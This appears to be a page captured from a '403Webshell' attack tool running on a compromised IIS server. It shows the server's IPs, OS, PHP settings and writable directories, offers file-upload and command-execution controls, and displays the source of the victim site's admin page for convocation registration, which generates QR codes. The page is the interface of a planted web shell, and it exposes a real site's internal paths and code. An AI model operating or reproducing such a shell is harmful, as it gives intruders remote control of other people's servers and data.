403Webshell
Server IP : 104.21.93.206  /  Your IP : 172.71.255.6
Web Server : Microsoft-IIS/10.0
System : Windows NT WAVE 10.0 build 20348 (Windows Server 2016) AMD64
User : IWPD_458(indias) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/inetpub/vhosts/indiasmartbazaar.com/pimsharyana.in/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/inetpub/vhosts/indiasmartbazaar.com/pimsharyana.in/admin/registrationforconvocation.aspx.cs
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using QRCoder;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
using DevExpress.Web;

public partial class admin_registrationforconvocation : System.Web.UI.Page
{
    SqlConnection con = new SqlConnection(ConfigurationManager.ConnectionStrings["con"].ConnectionString);
    protected void Page_Load(object sender, EventArgs e)
    {
        if(!IsPostBack)
        {
            getBigID();
            laodData();

        }
    }
    int ID;
    private void getBigID()
    {
        
    }

    private void laodData()
    {
        SqlCommand cmd = new SqlCommand("Select * from tbl_convocation Order By ID Desc", con);
        SqlDataAdapter da = new SqlDataAdapter(cmd);
        DataTable dt = new DataTable();
        da.Fill(dt);
        if(dt.Rows.Count>0)
        {
            gridRecord.DataSource = dt;
            gridRecord.DataBind();
        }
    }
    protected void Page_Init(object sender, EventArgs e)
    {
        SqlCommand cmd = new SqlCommand("Select * from tbl_convocation Order By ID Desc", con);
        SqlDataAdapter da = new SqlDataAdapter(cmd);
        DataTable dt = new DataTable();
        da.Fill(dt);
        if (dt.Rows.Count > 0)
        {
            gridRecord.DataSource = dt;
            gridRecord.DataBind();
        }
    }
    string autoID;
    protected void btnsave_Click(object sender, EventArgs e)
    {
        SqlConnection conauto = new SqlConnection(ConfigurationManager.ConnectionStrings["con"].ConnectionString);
        conauto.Open();
        SqlCommand cmd2 = new SqlCommand("Select COALESCE (MAX(ID),0)+1 from tbl_convocation", conauto);
        int i = Convert.ToInt32(cmd2.ExecuteScalar());
        conauto.Close();
        i.ToString();
        autoID = i.ToString();
        string title = "Type: " + drpchoose.SelectedItem.Text;
        string name = "Name: " + txtName.Text;
        string Class = "Course: " + drpcourse.SelectedItem.Text;
        string person = "Allowed: " + drpAllowed.SelectedItem.Text;
        string father = "Father:" + txtFather.Text;
        string loadQRText = title + Environment.NewLine + name + Environment.NewLine + Class + Environment.NewLine + father + Environment.NewLine + person;
        Guid id = /*Request.QueryString["ID"].ToString();*/Guid.NewGuid();
        QRCodeGenerator qrGenerator = new QRCodeGenerator();
        QRCodeData qrCodeData = qrGenerator.CreateQrCode(loadQRText, QRCodeGenerator.ECCLevel.Q);
        QRCode qrCode = new QRCode(qrCodeData);
        System.Web.UI.WebControls.Image imgBarCode = new System.Web.UI.WebControls.Image();
        imgBarCode.Height = 70;
        imgBarCode.Width = 70;

        using (Bitmap bitMap = qrCode.GetGraphic(20))
        {
            using (MemoryStream ms = new MemoryStream())
            {
                bitMap.Save(ms, System.Drawing.Imaging.ImageFormat.Png);
                byte[] byteImage = ms.ToArray();
                System.Drawing.Image img = System.Drawing.Image.FromStream(ms);
                img.Save(Server.MapPath("~/QRCode/") + id + "Qrcode.png", System.Drawing.Imaging.ImageFormat.Jpeg);

                imgBarCode.ImageUrl = "data:image/png;base64," + Convert.ToBase64String(byteImage);

            }
        }
        SqlCommand cmd1 = new SqlCommand("SP_check_duplicate", con);
        cmd1.CommandType = CommandType.StoredProcedure;
        cmd1.Parameters.Add("@email", SqlDbType.NVarChar).Value = txtEmail.Text;
        cmd1.Parameters.Add("@mobile", SqlDbType.NVarChar).Value = txtPhone.Text;
        SqlDataAdapter Da = new SqlDataAdapter(cmd1);
        DataTable dt = new DataTable();
        Da.Fill(dt);
        if (dt.Rows.Count > 0)
        {
            ScriptManager.RegisterClientScriptBlock(this, this.GetType(), "alertMessage", "alert('Email or Phone Already Registred!')", true);

        }
        else
        {
            SqlCommand cmd = new SqlCommand("SP_insert_convocation", con);
            cmd.CommandType = CommandType.StoredProcedure;
            cmd.Parameters.Add("@ID", SqlDbType.Int).Value = i;
            cmd.Parameters.Add("@Title", SqlDbType.NVarChar).Value = drpchoose.SelectedItem.Text;
            cmd.Parameters.Add("@Name", SqlDbType.NVarChar).Value = txtName.Text;
            cmd.Parameters.Add("@address", SqlDbType.NVarChar).Value = txtFather.Text;
            cmd.Parameters.Add("@mobile", SqlDbType.NVarChar).Value = txtPhone.Text;
            cmd.Parameters.Add("@class", SqlDbType.NVarChar).Value = drpcourse.SelectedItem.Text;
            cmd.Parameters.Add("@personAllowed", SqlDbType.NVarChar).Value = drpAllowed.SelectedItem.Text;
            cmd.Parameters.Add("@qrCodePath", SqlDbType.NVarChar).Value = "~/QRCode/" + id + "Qrcode.png";
            cmd.Parameters.Add("@father", SqlDbType.NVarChar).Value = txtFather.Text;
            cmd.Parameters.Add("@email", SqlDbType.NVarChar).Value = txtEmail.Text;
            cmd.Parameters.Add("@passing", SqlDbType.NVarChar).Value = drpYear.SelectedItem.Text;
            con.Open();
            int RA = cmd.ExecuteNonQuery();
            con.Close();
            if (RA > 0)
            {
                txtName.Text = string.Empty;
                txtFather.Text = string.Empty;
                txtPhone.Text = string.Empty;

                lblsucess.Visible = true;
                Response.Redirect("printIdentity.aspx?ID=" + autoID);
                laodData();

            }
        }



    }

    protected void grd_RowCommand(object sender, ASPxGridViewRowCommandEventArgs e)
    {
        if (e.CommandArgs.CommandName == "Print")
        {
            var gv = sender as ASPxGridView;
            var id = gv.GetRowValues(e.VisibleIndex, new string[] { "ID" });

            Response.Redirect(string.Format("printIdentity.aspx?ID={0}", id));
        }

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit